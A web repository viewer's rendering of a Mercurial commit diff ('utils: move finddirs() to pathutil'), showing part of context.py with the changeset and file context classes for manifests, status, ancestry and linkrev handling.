##// END OF EJS Templates
utils: move finddirs() to pathutil...
Martin von Zweigbergk -
r44032:0b773371 default
parent child Browse files
Show More
@@ -1,2986 +1,2986 b''
1 1 # context.py - changeset and file context objects for mercurial
2 2 #
3 3 # Copyright 2006, 2007 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import errno
11 11 import filecmp
12 12 import os
13 13 import stat
14 14
15 15 from .i18n import _
16 16 from .node import (
17 17 addednodeid,
18 18 hex,
19 19 modifiednodeid,
20 20 nullid,
21 21 nullrev,
22 22 short,
23 23 wdirfilenodeids,
24 24 wdirhex,
25 25 )
26 26 from .pycompat import (
27 27 getattr,
28 28 open,
29 29 )
30 30 from . import (
31 31 copies,
32 32 dagop,
33 33 encoding,
34 34 error,
35 35 fileset,
36 36 match as matchmod,
37 37 obsolete as obsmod,
38 38 patch,
39 39 pathutil,
40 40 phases,
41 41 pycompat,
42 42 repoview,
43 43 scmutil,
44 44 sparse,
45 45 subrepo,
46 46 subrepoutil,
47 47 util,
48 48 )
49 49 from .utils import (
50 50 dateutil,
51 51 stringutil,
52 52 )
53 53
54 54 propertycache = util.propertycache
55 55
56 56
57 57 class basectx(object):
58 58 """A basectx object represents the common logic for its children:
59 59 changectx: read-only context that is already present in the repo,
60 60 workingctx: a context that represents the working directory and can
61 61 be committed,
62 62 memctx: a context that represents changes in-memory and can also
63 63 be committed."""
64 64
65 65 def __init__(self, repo):
66 66 self._repo = repo
67 67
68 68 def __bytes__(self):
69 69 return short(self.node())
70 70
71 71 __str__ = encoding.strmethod(__bytes__)
72 72
73 73 def __repr__(self):
74 74 return "<%s %s>" % (type(self).__name__, str(self))
75 75
76 76 def __eq__(self, other):
77 77 try:
78 78 return type(self) == type(other) and self._rev == other._rev
79 79 except AttributeError:
80 80 return False
81 81
82 82 def __ne__(self, other):
83 83 return not (self == other)
84 84
85 85 def __contains__(self, key):
86 86 return key in self._manifest
87 87
88 88 def __getitem__(self, key):
89 89 return self.filectx(key)
90 90
91 91 def __iter__(self):
92 92 return iter(self._manifest)
93 93
94 94 def _buildstatusmanifest(self, status):
95 95 """Builds a manifest that includes the given status results, if this is
96 96 a working copy context. For non-working copy contexts, it just returns
97 97 the normal manifest."""
98 98 return self.manifest()
99 99
100 100 def _matchstatus(self, other, match):
101 101 """This internal method provides a way for child objects to override the
102 102 match operator.
103 103 """
104 104 return match
105 105
106 106 def _buildstatus(
107 107 self, other, s, match, listignored, listclean, listunknown
108 108 ):
109 109 """build a status with respect to another context"""
110 110 # Load earliest manifest first for caching reasons. More specifically,
111 111 # if you have revisions 1000 and 1001, 1001 is probably stored as a
112 112 # delta against 1000. Thus, if you read 1000 first, we'll reconstruct
113 113 # 1000 and cache it so that when you read 1001, we just need to apply a
114 114 # delta to what's in the cache. So that's one full reconstruction + one
115 115 # delta application.
116 116 mf2 = None
117 117 if self.rev() is not None and self.rev() < other.rev():
118 118 mf2 = self._buildstatusmanifest(s)
119 119 mf1 = other._buildstatusmanifest(s)
120 120 if mf2 is None:
121 121 mf2 = self._buildstatusmanifest(s)
122 122
123 123 modified, added = [], []
124 124 removed = []
125 125 clean = []
126 126 deleted, unknown, ignored = s.deleted, s.unknown, s.ignored
127 127 deletedset = set(deleted)
128 128 d = mf1.diff(mf2, match=match, clean=listclean)
129 129 for fn, value in pycompat.iteritems(d):
130 130 if fn in deletedset:
131 131 continue
132 132 if value is None:
133 133 clean.append(fn)
134 134 continue
135 135 (node1, flag1), (node2, flag2) = value
136 136 if node1 is None:
137 137 added.append(fn)
138 138 elif node2 is None:
139 139 removed.append(fn)
140 140 elif flag1 != flag2:
141 141 modified.append(fn)
142 142 elif node2 not in wdirfilenodeids:
143 143 # When comparing files between two commits, we save time by
144 144 # not comparing the file contents when the nodeids differ.
145 145 # Note that this means we incorrectly report a reverted change
146 146 # to a file as a modification.
147 147 modified.append(fn)
148 148 elif self[fn].cmp(other[fn]):
149 149 modified.append(fn)
150 150 else:
151 151 clean.append(fn)
152 152
153 153 if removed:
154 154 # need to filter files if they are already reported as removed
155 155 unknown = [
156 156 fn
157 157 for fn in unknown
158 158 if fn not in mf1 and (not match or match(fn))
159 159 ]
160 160 ignored = [
161 161 fn
162 162 for fn in ignored
163 163 if fn not in mf1 and (not match or match(fn))
164 164 ]
165 165 # if they're deleted, don't report them as removed
166 166 removed = [fn for fn in removed if fn not in deletedset]
167 167
168 168 return scmutil.status(
169 169 modified, added, removed, deleted, unknown, ignored, clean
170 170 )
171 171
172 172 @propertycache
173 173 def substate(self):
174 174 return subrepoutil.state(self, self._repo.ui)
175 175
176 176 def subrev(self, subpath):
177 177 return self.substate[subpath][1]
178 178
179 179 def rev(self):
180 180 return self._rev
181 181
182 182 def node(self):
183 183 return self._node
184 184
185 185 def hex(self):
186 186 return hex(self.node())
187 187
188 188 def manifest(self):
189 189 return self._manifest
190 190
191 191 def manifestctx(self):
192 192 return self._manifestctx
193 193
194 194 def repo(self):
195 195 return self._repo
196 196
197 197 def phasestr(self):
198 198 return phases.phasenames[self.phase()]
199 199
200 200 def mutable(self):
201 201 return self.phase() > phases.public
202 202
203 203 def matchfileset(self, expr, badfn=None):
204 204 return fileset.match(self, expr, badfn=badfn)
205 205
206 206 def obsolete(self):
207 207 """True if the changeset is obsolete"""
208 208 return self.rev() in obsmod.getrevs(self._repo, b'obsolete')
209 209
210 210 def extinct(self):
211 211 """True if the changeset is extinct"""
212 212 return self.rev() in obsmod.getrevs(self._repo, b'extinct')
213 213
214 214 def orphan(self):
215 215 """True if the changeset is not obsolete, but its ancestor is"""
216 216 return self.rev() in obsmod.getrevs(self._repo, b'orphan')
217 217
218 218 def phasedivergent(self):
219 219 """True if the changeset tries to be a successor of a public changeset
220 220
221 221 Only non-public and non-obsolete changesets may be phase-divergent.
222 222 """
223 223 return self.rev() in obsmod.getrevs(self._repo, b'phasedivergent')
224 224
225 225 def contentdivergent(self):
226 226 """Is a successor of a changeset with multiple possible successor sets
227 227
228 228 Only non-public and non-obsolete changesets may be content-divergent.
229 229 """
230 230 return self.rev() in obsmod.getrevs(self._repo, b'contentdivergent')
231 231
232 232 def isunstable(self):
233 233 """True if the changeset is either orphan, phase-divergent or
234 234 content-divergent"""
235 235 return self.orphan() or self.phasedivergent() or self.contentdivergent()
236 236
237 237 def instabilities(self):
238 238 """return the list of instabilities affecting this changeset.
239 239
240 240 Instabilities are returned as strings. possible values are:
241 241 - orphan,
242 242 - phase-divergent,
243 243 - content-divergent.
244 244 """
245 245 instabilities = []
246 246 if self.orphan():
247 247 instabilities.append(b'orphan')
248 248 if self.phasedivergent():
249 249 instabilities.append(b'phase-divergent')
250 250 if self.contentdivergent():
251 251 instabilities.append(b'content-divergent')
252 252 return instabilities
253 253
254 254 def parents(self):
255 255 """return contexts for each parent changeset"""
256 256 return self._parents
257 257
258 258 def p1(self):
259 259 return self._parents[0]
260 260
261 261 def p2(self):
262 262 parents = self._parents
263 263 if len(parents) == 2:
264 264 return parents[1]
265 265 return self._repo[nullrev]
266 266
267 267 def _fileinfo(self, path):
268 268 if '_manifest' in self.__dict__:
269 269 try:
270 270 return self._manifest[path], self._manifest.flags(path)
271 271 except KeyError:
272 272 raise error.ManifestLookupError(
273 273 self._node, path, _(b'not found in manifest')
274 274 )
275 275 if '_manifestdelta' in self.__dict__ or path in self.files():
276 276 if path in self._manifestdelta:
277 277 return (
278 278 self._manifestdelta[path],
279 279 self._manifestdelta.flags(path),
280 280 )
281 281 mfl = self._repo.manifestlog
282 282 try:
283 283 node, flag = mfl[self._changeset.manifest].find(path)
284 284 except KeyError:
285 285 raise error.ManifestLookupError(
286 286 self._node, path, _(b'not found in manifest')
287 287 )
288 288
289 289 return node, flag
290 290
291 291 def filenode(self, path):
292 292 return self._fileinfo(path)[0]
293 293
294 294 def flags(self, path):
295 295 try:
296 296 return self._fileinfo(path)[1]
297 297 except error.LookupError:
298 298 return b''
299 299
300 300 @propertycache
301 301 def _copies(self):
302 302 return copies.computechangesetcopies(self)
303 303
304 304 def p1copies(self):
305 305 return self._copies[0]
306 306
307 307 def p2copies(self):
308 308 return self._copies[1]
309 309
310 310 def sub(self, path, allowcreate=True):
311 311 '''return a subrepo for the stored revision of path, never wdir()'''
312 312 return subrepo.subrepo(self, path, allowcreate=allowcreate)
313 313
314 314 def nullsub(self, path, pctx):
315 315 return subrepo.nullsubrepo(self, path, pctx)
316 316
317 317 def workingsub(self, path):
318 318 '''return a subrepo for the stored revision, or wdir if this is a wdir
319 319 context.
320 320 '''
321 321 return subrepo.subrepo(self, path, allowwdir=True)
322 322
323 323 def match(
324 324 self,
325 325 pats=None,
326 326 include=None,
327 327 exclude=None,
328 328 default=b'glob',
329 329 listsubrepos=False,
330 330 badfn=None,
331 331 ):
332 332 r = self._repo
333 333 return matchmod.match(
334 334 r.root,
335 335 r.getcwd(),
336 336 pats,
337 337 include,
338 338 exclude,
339 339 default,
340 340 auditor=r.nofsauditor,
341 341 ctx=self,
342 342 listsubrepos=listsubrepos,
343 343 badfn=badfn,
344 344 )
345 345
346 346 def diff(
347 347 self,
348 348 ctx2=None,
349 349 match=None,
350 350 changes=None,
351 351 opts=None,
352 352 losedatafn=None,
353 353 pathfn=None,
354 354 copy=None,
355 355 copysourcematch=None,
356 356 hunksfilterfn=None,
357 357 ):
358 358 """Returns a diff generator for the given contexts and matcher"""
359 359 if ctx2 is None:
360 360 ctx2 = self.p1()
361 361 if ctx2 is not None:
362 362 ctx2 = self._repo[ctx2]
363 363 return patch.diff(
364 364 self._repo,
365 365 ctx2,
366 366 self,
367 367 match=match,
368 368 changes=changes,
369 369 opts=opts,
370 370 losedatafn=losedatafn,
371 371 pathfn=pathfn,
372 372 copy=copy,
373 373 copysourcematch=copysourcematch,
374 374 hunksfilterfn=hunksfilterfn,
375 375 )
376 376
377 377 def dirs(self):
378 378 return self._manifest.dirs()
379 379
380 380 def hasdir(self, dir):
381 381 return self._manifest.hasdir(dir)
382 382
383 383 def status(
384 384 self,
385 385 other=None,
386 386 match=None,
387 387 listignored=False,
388 388 listclean=False,
389 389 listunknown=False,
390 390 listsubrepos=False,
391 391 ):
392 392 """return status of files between two nodes or node and working
393 393 directory.
394 394
395 395 If other is None, compare this node with working directory.
396 396
397 397 returns (modified, added, removed, deleted, unknown, ignored, clean)
398 398 """
399 399
400 400 ctx1 = self
401 401 ctx2 = self._repo[other]
402 402
403 403 # This next code block is, admittedly, fragile logic that tests for
404 404 # reversing the contexts and wouldn't need to exist if it weren't for
405 405 # the fast (and common) code path of comparing the working directory
406 406 # with its first parent.
407 407 #
408 408 # What we're aiming for here is the ability to call:
409 409 #
410 410 # workingctx.status(parentctx)
411 411 #
412 412 # If we always built the manifest for each context and compared those,
413 413 # then we'd be done. But the special case of the above call means we
414 414 # just copy the manifest of the parent.
415 415 reversed = False
416 416 if not isinstance(ctx1, changectx) and isinstance(ctx2, changectx):
417 417 reversed = True
418 418 ctx1, ctx2 = ctx2, ctx1
419 419
420 420 match = self._repo.narrowmatch(match)
421 421 match = ctx2._matchstatus(ctx1, match)
422 422 r = scmutil.status([], [], [], [], [], [], [])
423 423 r = ctx2._buildstatus(
424 424 ctx1, r, match, listignored, listclean, listunknown
425 425 )
426 426
427 427 if reversed:
428 428 # Reverse added and removed. Clear deleted, unknown and ignored as
429 429 # these make no sense to reverse.
430 430 r = scmutil.status(
431 431 r.modified, r.removed, r.added, [], [], [], r.clean
432 432 )
433 433
434 434 if listsubrepos:
435 435 for subpath, sub in scmutil.itersubrepos(ctx1, ctx2):
436 436 try:
437 437 rev2 = ctx2.subrev(subpath)
438 438 except KeyError:
439 439 # A subrepo that existed in node1 was deleted between
440 440 # node1 and node2 (inclusive). Thus, ctx2's substate
441 441 # won't contain that subpath. The best we can do ignore it.
442 442 rev2 = None
443 443 submatch = matchmod.subdirmatcher(subpath, match)
444 444 s = sub.status(
445 445 rev2,
446 446 match=submatch,
447 447 ignored=listignored,
448 448 clean=listclean,
449 449 unknown=listunknown,
450 450 listsubrepos=True,
451 451 )
452 452 for rfiles, sfiles in zip(r, s):
453 453 rfiles.extend(b"%s/%s" % (subpath, f) for f in sfiles)
454 454
455 455 for l in r:
456 456 l.sort()
457 457
458 458 return r
459 459
460 460
461 461 class changectx(basectx):
462 462 """A changecontext object makes access to data related to a particular
463 463 changeset convenient. It represents a read-only context already present in
464 464 the repo."""
465 465
466 466 def __init__(self, repo, rev, node):
467 467 super(changectx, self).__init__(repo)
468 468 self._rev = rev
469 469 self._node = node
470 470
471 471 def __hash__(self):
472 472 try:
473 473 return hash(self._rev)
474 474 except AttributeError:
475 475 return id(self)
476 476
477 477 def __nonzero__(self):
478 478 return self._rev != nullrev
479 479
480 480 __bool__ = __nonzero__
481 481
482 482 @propertycache
483 483 def _changeset(self):
484 484 return self._repo.changelog.changelogrevision(self.rev())
485 485
486 486 @propertycache
487 487 def _manifest(self):
488 488 return self._manifestctx.read()
489 489
490 490 @property
491 491 def _manifestctx(self):
492 492 return self._repo.manifestlog[self._changeset.manifest]
493 493
494 494 @propertycache
495 495 def _manifestdelta(self):
496 496 return self._manifestctx.readdelta()
497 497
498 498 @propertycache
499 499 def _parents(self):
500 500 repo = self._repo
501 501 p1, p2 = repo.changelog.parentrevs(self._rev)
502 502 if p2 == nullrev:
503 503 return [repo[p1]]
504 504 return [repo[p1], repo[p2]]
505 505
506 506 def changeset(self):
507 507 c = self._changeset
508 508 return (
509 509 c.manifest,
510 510 c.user,
511 511 c.date,
512 512 c.files,
513 513 c.description,
514 514 c.extra,
515 515 )
516 516
517 517 def manifestnode(self):
518 518 return self._changeset.manifest
519 519
520 520 def user(self):
521 521 return self._changeset.user
522 522
523 523 def date(self):
524 524 return self._changeset.date
525 525
526 526 def files(self):
527 527 return self._changeset.files
528 528
529 529 def filesmodified(self):
530 530 modified = set(self.files())
531 531 modified.difference_update(self.filesadded())
532 532 modified.difference_update(self.filesremoved())
533 533 return sorted(modified)
534 534
535 535 def filesadded(self):
536 536 filesadded = self._changeset.filesadded
537 537 compute_on_none = True
538 538 if self._repo.filecopiesmode == b'changeset-sidedata':
539 539 compute_on_none = False
540 540 else:
541 541 source = self._repo.ui.config(b'experimental', b'copies.read-from')
542 542 if source == b'changeset-only':
543 543 compute_on_none = False
544 544 elif source != b'compatibility':
545 545 # filelog mode, ignore any changelog content
546 546 filesadded = None
547 547 if filesadded is None:
548 548 if compute_on_none:
549 549 filesadded = copies.computechangesetfilesadded(self)
550 550 else:
551 551 filesadded = []
552 552 return filesadded
553 553
554 554 def filesremoved(self):
555 555 filesremoved = self._changeset.filesremoved
556 556 compute_on_none = True
557 557 if self._repo.filecopiesmode == b'changeset-sidedata':
558 558 compute_on_none = False
559 559 else:
560 560 source = self._repo.ui.config(b'experimental', b'copies.read-from')
561 561 if source == b'changeset-only':
562 562 compute_on_none = False
563 563 elif source != b'compatibility':
564 564 # filelog mode, ignore any changelog content
565 565 filesremoved = None
566 566 if filesremoved is None:
567 567 if compute_on_none:
568 568 filesremoved = copies.computechangesetfilesremoved(self)
569 569 else:
570 570 filesremoved = []
571 571 return filesremoved
572 572
573 573 @propertycache
574 574 def _copies(self):
575 575 p1copies = self._changeset.p1copies
576 576 p2copies = self._changeset.p2copies
577 577 compute_on_none = True
578 578 if self._repo.filecopiesmode == b'changeset-sidedata':
579 579 compute_on_none = False
580 580 else:
581 581 source = self._repo.ui.config(b'experimental', b'copies.read-from')
582 582 # If config says to get copy metadata only from changeset, then
583 583 # return that, defaulting to {} if there was no copy metadata. In
584 584 # compatibility mode, we return copy data from the changeset if it
585 585 # was recorded there, and otherwise we fall back to getting it from
586 586 # the filelogs (below).
587 587 #
588 588 # If we are in compatiblity mode and there is not data in the
589 589 # changeset), we get the copy metadata from the filelogs.
590 590 #
591 591 # otherwise, when config said to read only from filelog, we get the
592 592 # copy metadata from the filelogs.
593 593 if source == b'changeset-only':
594 594 compute_on_none = False
595 595 elif source != b'compatibility':
596 596 # filelog mode, ignore any changelog content
597 597 p1copies = p2copies = None
598 598 if p1copies is None:
599 599 if compute_on_none:
600 600 p1copies, p2copies = super(changectx, self)._copies
601 601 else:
602 602 if p1copies is None:
603 603 p1copies = {}
604 604 if p2copies is None:
605 605 p2copies = {}
606 606 return p1copies, p2copies
607 607
608 608 def description(self):
609 609 return self._changeset.description
610 610
611 611 def branch(self):
612 612 return encoding.tolocal(self._changeset.extra.get(b"branch"))
613 613
614 614 def closesbranch(self):
615 615 return b'close' in self._changeset.extra
616 616
617 617 def extra(self):
618 618 """Return a dict of extra information."""
619 619 return self._changeset.extra
620 620
621 621 def tags(self):
622 622 """Return a list of byte tag names"""
623 623 return self._repo.nodetags(self._node)
624 624
625 625 def bookmarks(self):
626 626 """Return a list of byte bookmark names."""
627 627 return self._repo.nodebookmarks(self._node)
628 628
629 629 def phase(self):
630 630 return self._repo._phasecache.phase(self._repo, self._rev)
631 631
632 632 def hidden(self):
633 633 return self._rev in repoview.filterrevs(self._repo, b'visible')
634 634
635 635 def isinmemory(self):
636 636 return False
637 637
638 638 def children(self):
639 639 """return list of changectx contexts for each child changeset.
640 640
641 641 This returns only the immediate child changesets. Use descendants() to
642 642 recursively walk children.
643 643 """
644 644 c = self._repo.changelog.children(self._node)
645 645 return [self._repo[x] for x in c]
646 646
647 647 def ancestors(self):
648 648 for a in self._repo.changelog.ancestors([self._rev]):
649 649 yield self._repo[a]
650 650
651 651 def descendants(self):
652 652 """Recursively yield all children of the changeset.
653 653
654 654 For just the immediate children, use children()
655 655 """
656 656 for d in self._repo.changelog.descendants([self._rev]):
657 657 yield self._repo[d]
658 658
659 659 def filectx(self, path, fileid=None, filelog=None):
660 660 """get a file context from this changeset"""
661 661 if fileid is None:
662 662 fileid = self.filenode(path)
663 663 return filectx(
664 664 self._repo, path, fileid=fileid, changectx=self, filelog=filelog
665 665 )
666 666
667 667 def ancestor(self, c2, warn=False):
668 668 """return the "best" ancestor context of self and c2
669 669
670 670 If there are multiple candidates, it will show a message and check
671 671 merge.preferancestor configuration before falling back to the
672 672 revlog ancestor."""
673 673 # deal with workingctxs
674 674 n2 = c2._node
675 675 if n2 is None:
676 676 n2 = c2._parents[0]._node
677 677 cahs = self._repo.changelog.commonancestorsheads(self._node, n2)
678 678 if not cahs:
679 679 anc = nullid
680 680 elif len(cahs) == 1:
681 681 anc = cahs[0]
682 682 else:
683 683 # experimental config: merge.preferancestor
684 684 for r in self._repo.ui.configlist(b'merge', b'preferancestor'):
685 685 try:
686 686 ctx = scmutil.revsymbol(self._repo, r)
687 687 except error.RepoLookupError:
688 688 continue
689 689 anc = ctx.node()
690 690 if anc in cahs:
691 691 break
692 692 else:
693 693 anc = self._repo.changelog.ancestor(self._node, n2)
694 694 if warn:
695 695 self._repo.ui.status(
696 696 (
697 697 _(b"note: using %s as ancestor of %s and %s\n")
698 698 % (short(anc), short(self._node), short(n2))
699 699 )
700 700 + b''.join(
701 701 _(
702 702 b" alternatively, use --config "
703 703 b"merge.preferancestor=%s\n"
704 704 )
705 705 % short(n)
706 706 for n in sorted(cahs)
707 707 if n != anc
708 708 )
709 709 )
710 710 return self._repo[anc]
711 711
712 712 def isancestorof(self, other):
713 713 """True if this changeset is an ancestor of other"""
714 714 return self._repo.changelog.isancestorrev(self._rev, other._rev)
715 715
716 716 def walk(self, match):
717 717 '''Generates matching file names.'''
718 718
719 719 # Wrap match.bad method to have message with nodeid
720 720 def bad(fn, msg):
721 721 # The manifest doesn't know about subrepos, so don't complain about
722 722 # paths into valid subrepos.
723 723 if any(fn == s or fn.startswith(s + b'/') for s in self.substate):
724 724 return
725 725 match.bad(fn, _(b'no such file in rev %s') % self)
726 726
727 727 m = matchmod.badmatch(self._repo.narrowmatch(match), bad)
728 728 return self._manifest.walk(m)
729 729
730 730 def matches(self, match):
731 731 return self.walk(match)
732 732
733 733
734 734 class basefilectx(object):
735 735 """A filecontext object represents the common logic for its children:
736 736 filectx: read-only access to a filerevision that is already present
737 737 in the repo,
738 738 workingfilectx: a filecontext that represents files from the working
739 739 directory,
740 740 memfilectx: a filecontext that represents files in-memory,
741 741 """
742 742
743 743 @propertycache
744 744 def _filelog(self):
745 745 return self._repo.file(self._path)
746 746
747 747 @propertycache
748 748 def _changeid(self):
749 749 if '_changectx' in self.__dict__:
750 750 return self._changectx.rev()
751 751 elif '_descendantrev' in self.__dict__:
752 752 # this file context was created from a revision with a known
753 753 # descendant, we can (lazily) correct for linkrev aliases
754 754 return self._adjustlinkrev(self._descendantrev)
755 755 else:
756 756 return self._filelog.linkrev(self._filerev)
757 757
758 758 @propertycache
759 759 def _filenode(self):
760 760 if '_fileid' in self.__dict__:
761 761 return self._filelog.lookup(self._fileid)
762 762 else:
763 763 return self._changectx.filenode(self._path)
764 764
765 765 @propertycache
766 766 def _filerev(self):
767 767 return self._filelog.rev(self._filenode)
768 768
769 769 @propertycache
770 770 def _repopath(self):
771 771 return self._path
772 772
773 773 def __nonzero__(self):
774 774 try:
775 775 self._filenode
776 776 return True
777 777 except error.LookupError:
778 778 # file is missing
779 779 return False
780 780
781 781 __bool__ = __nonzero__
782 782
783 783 def __bytes__(self):
784 784 try:
785 785 return b"%s@%s" % (self.path(), self._changectx)
786 786 except error.LookupError:
787 787 return b"%s@???" % self.path()
788 788
789 789 __str__ = encoding.strmethod(__bytes__)
790 790
791 791 def __repr__(self):
792 792 return "<%s %s>" % (type(self).__name__, str(self))
793 793
794 794 def __hash__(self):
795 795 try:
796 796 return hash((self._path, self._filenode))
797 797 except AttributeError:
798 798 return id(self)
799 799
800 800 def __eq__(self, other):
801 801 try:
802 802 return (
803 803 type(self) == type(other)
804 804 and self._path == other._path
805 805 and self._filenode == other._filenode
806 806 )
807 807 except AttributeError:
808 808 return False
809 809
810 810 def __ne__(self, other):
811 811 return not (self == other)
812 812
813 813 def filerev(self):
814 814 return self._filerev
815 815
816 816 def filenode(self):
817 817 return self._filenode
818 818
819 819 @propertycache
820 820 def _flags(self):
821 821 return self._changectx.flags(self._path)
822 822
823 823 def flags(self):
824 824 return self._flags
825 825
826 826 def filelog(self):
827 827 return self._filelog
828 828
829 829 def rev(self):
830 830 return self._changeid
831 831
832 832 def linkrev(self):
833 833 return self._filelog.linkrev(self._filerev)
834 834
835 835 def node(self):
836 836 return self._changectx.node()
837 837
838 838 def hex(self):
839 839 return self._changectx.hex()
840 840
841 841 def user(self):
842 842 return self._changectx.user()
843 843
844 844 def date(self):
845 845 return self._changectx.date()
846 846
847 847 def files(self):
848 848 return self._changectx.files()
849 849
850 850 def description(self):
851 851 return self._changectx.description()
852 852
853 853 def branch(self):
854 854 return self._changectx.branch()
855 855
856 856 def extra(self):
857 857 return self._changectx.extra()
858 858
859 859 def phase(self):
860 860 return self._changectx.phase()
861 861
862 862 def phasestr(self):
863 863 return self._changectx.phasestr()
864 864
865 865 def obsolete(self):
866 866 return self._changectx.obsolete()
867 867
868 868 def instabilities(self):
869 869 return self._changectx.instabilities()
870 870
871 871 def manifest(self):
872 872 return self._changectx.manifest()
873 873
874 874 def changectx(self):
875 875 return self._changectx
876 876
877 877 def renamed(self):
878 878 return self._copied
879 879
880 880 def copysource(self):
881 881 return self._copied and self._copied[0]
882 882
883 883 def repo(self):
884 884 return self._repo
885 885
886 886 def size(self):
887 887 return len(self.data())
888 888
889 889 def path(self):
890 890 return self._path
891 891
892 892 def isbinary(self):
893 893 try:
894 894 return stringutil.binary(self.data())
895 895 except IOError:
896 896 return False
897 897
898 898 def isexec(self):
899 899 return b'x' in self.flags()
900 900
901 901 def islink(self):
902 902 return b'l' in self.flags()
903 903
904 904 def isabsent(self):
905 905 """whether this filectx represents a file not in self._changectx
906 906
907 907 This is mainly for merge code to detect change/delete conflicts. This is
908 908 expected to be True for all subclasses of basectx."""
909 909 return False
910 910
911 911 _customcmp = False
912 912
913 913 def cmp(self, fctx):
914 914 """compare with other file context
915 915
916 916 returns True if different than fctx.
917 917 """
918 918 if fctx._customcmp:
919 919 return fctx.cmp(self)
920 920
921 921 if self._filenode is None:
922 922 raise error.ProgrammingError(
923 923 b'filectx.cmp() must be reimplemented if not backed by revlog'
924 924 )
925 925
926 926 if fctx._filenode is None:
927 927 if self._repo._encodefilterpats:
928 928 # can't rely on size() because wdir content may be decoded
929 929 return self._filelog.cmp(self._filenode, fctx.data())
930 930 if self.size() - 4 == fctx.size():
931 931 # size() can match:
932 932 # if file data starts with '\1\n', empty metadata block is
933 933 # prepended, which adds 4 bytes to filelog.size().
934 934 return self._filelog.cmp(self._filenode, fctx.data())
935 935 if self.size() == fctx.size():
936 936 # size() matches: need to compare content
937 937 return self._filelog.cmp(self._filenode, fctx.data())
938 938
939 939 # size() differs
940 940 return True
941 941
942 942 def _adjustlinkrev(self, srcrev, inclusive=False, stoprev=None):
943 943 """return the first ancestor of <srcrev> introducing <fnode>
944 944
945 945 If the linkrev of the file revision does not point to an ancestor of
946 946 srcrev, we'll walk down the ancestors until we find one introducing
947 947 this file revision.
948 948
949 949 :srcrev: the changeset revision we search ancestors from
950 950 :inclusive: if true, the src revision will also be checked
951 951 :stoprev: an optional revision to stop the walk at. If no introduction
952 952 of this file content could be found before this floor
953 953 revision, the function will returns "None" and stops its
954 954 iteration.
955 955 """
956 956 repo = self._repo
957 957 cl = repo.unfiltered().changelog
958 958 mfl = repo.manifestlog
959 959 # fetch the linkrev
960 960 lkr = self.linkrev()
961 961 if srcrev == lkr:
962 962 return lkr
963 963 # hack to reuse ancestor computation when searching for renames
964 964 memberanc = getattr(self, '_ancestrycontext', None)
965 965 iteranc = None
966 966 if srcrev is None:
967 967 # wctx case, used by workingfilectx during mergecopy
968 968 revs = [p.rev() for p in self._repo[None].parents()]
969 969 inclusive = True # we skipped the real (revless) source
970 970 else:
971 971 revs = [srcrev]
972 972 if memberanc is None:
973 973 memberanc = iteranc = cl.ancestors(revs, lkr, inclusive=inclusive)
974 974 # check if this linkrev is an ancestor of srcrev
975 975 if lkr not in memberanc:
976 976 if iteranc is None:
977 977 iteranc = cl.ancestors(revs, lkr, inclusive=inclusive)
978 978 fnode = self._filenode
979 979 path = self._path
980 980 for a in iteranc:
981 981 if stoprev is not None and a < stoprev:
982 982 return None
983 983 ac = cl.read(a) # get changeset data (we avoid object creation)
984 984 if path in ac[3]: # checking the 'files' field.
985 985 # The file has been touched, check if the content is
986 986 # similar to the one we search for.
987 987 if fnode == mfl[ac[0]].readfast().get(path):
988 988 return a
989 989 # In theory, we should never get out of that loop without a result.
990 990 # But if manifest uses a buggy file revision (not children of the
991 991 # one it replaces) we could. Such a buggy situation will likely
992 992 # result is crash somewhere else at to some point.
993 993 return lkr
994 994
995 995 def isintroducedafter(self, changelogrev):
996 996 """True if a filectx has been introduced after a given floor revision
997 997 """
998 998 if self.linkrev() >= changelogrev:
999 999 return True
1000 1000 introrev = self._introrev(stoprev=changelogrev)
1001 1001 if introrev is None:
1002 1002 return False
1003 1003 return introrev >= changelogrev
1004 1004
1005 1005 def introrev(self):
1006 1006 """return the rev of the changeset which introduced this file revision
1007 1007
1008 1008 This method is different from linkrev because it take into account the
1009 1009 changeset the filectx was created from. It ensures the returned
1010 1010 revision is one of its ancestors. This prevents bugs from
1011 1011 'linkrev-shadowing' when a file revision is used by multiple
1012 1012 changesets.
1013 1013 """
1014 1014 return self._introrev()
1015 1015
1016 1016 def _introrev(self, stoprev=None):
1017 1017 """
1018 1018 Same as `introrev` but, with an extra argument to limit changelog
1019 1019 iteration range in some internal usecase.
1020 1020
1021 1021 If `stoprev` is set, the `introrev` will not be searched past that
1022 1022 `stoprev` revision and "None" might be returned. This is useful to
1023 1023 limit the iteration range.
1024 1024 """
1025 1025 toprev = None
1026 1026 attrs = vars(self)
1027 1027 if '_changeid' in attrs:
1028 1028 # We have a cached value already
1029 1029 toprev = self._changeid
1030 1030 elif '_changectx' in attrs:
1031 1031 # We know which changelog entry we are coming from
1032 1032 toprev = self._changectx.rev()
1033 1033
1034 1034 if toprev is not None:
1035 1035 return self._adjustlinkrev(toprev, inclusive=True, stoprev=stoprev)
1036 1036 elif '_descendantrev' in attrs:
1037 1037 introrev = self._adjustlinkrev(self._descendantrev, stoprev=stoprev)
1038 1038 # be nice and cache the result of the computation
1039 1039 if introrev is not None:
1040 1040 self._changeid = introrev
1041 1041 return introrev
1042 1042 else:
1043 1043 return self.linkrev()
1044 1044
1045 1045 def introfilectx(self):
1046 1046 """Return filectx having identical contents, but pointing to the
1047 1047 changeset revision where this filectx was introduced"""
1048 1048 introrev = self.introrev()
1049 1049 if self.rev() == introrev:
1050 1050 return self
1051 1051 return self.filectx(self.filenode(), changeid=introrev)
1052 1052
1053 1053 def _parentfilectx(self, path, fileid, filelog):
1054 1054 """create parent filectx keeping ancestry info for _adjustlinkrev()"""
1055 1055 fctx = filectx(self._repo, path, fileid=fileid, filelog=filelog)
1056 1056 if '_changeid' in vars(self) or '_changectx' in vars(self):
1057 1057 # If self is associated with a changeset (probably explicitly
1058 1058 # fed), ensure the created filectx is associated with a
1059 1059 # changeset that is an ancestor of self.changectx.
1060 1060 # This lets us later use _adjustlinkrev to get a correct link.
1061 1061 fctx._descendantrev = self.rev()
1062 1062 fctx._ancestrycontext = getattr(self, '_ancestrycontext', None)
1063 1063 elif '_descendantrev' in vars(self):
1064 1064 # Otherwise propagate _descendantrev if we have one associated.
1065 1065 fctx._descendantrev = self._descendantrev
1066 1066 fctx._ancestrycontext = getattr(self, '_ancestrycontext', None)
1067 1067 return fctx
1068 1068
1069 1069 def parents(self):
1070 1070 _path = self._path
1071 1071 fl = self._filelog
1072 1072 parents = self._filelog.parents(self._filenode)
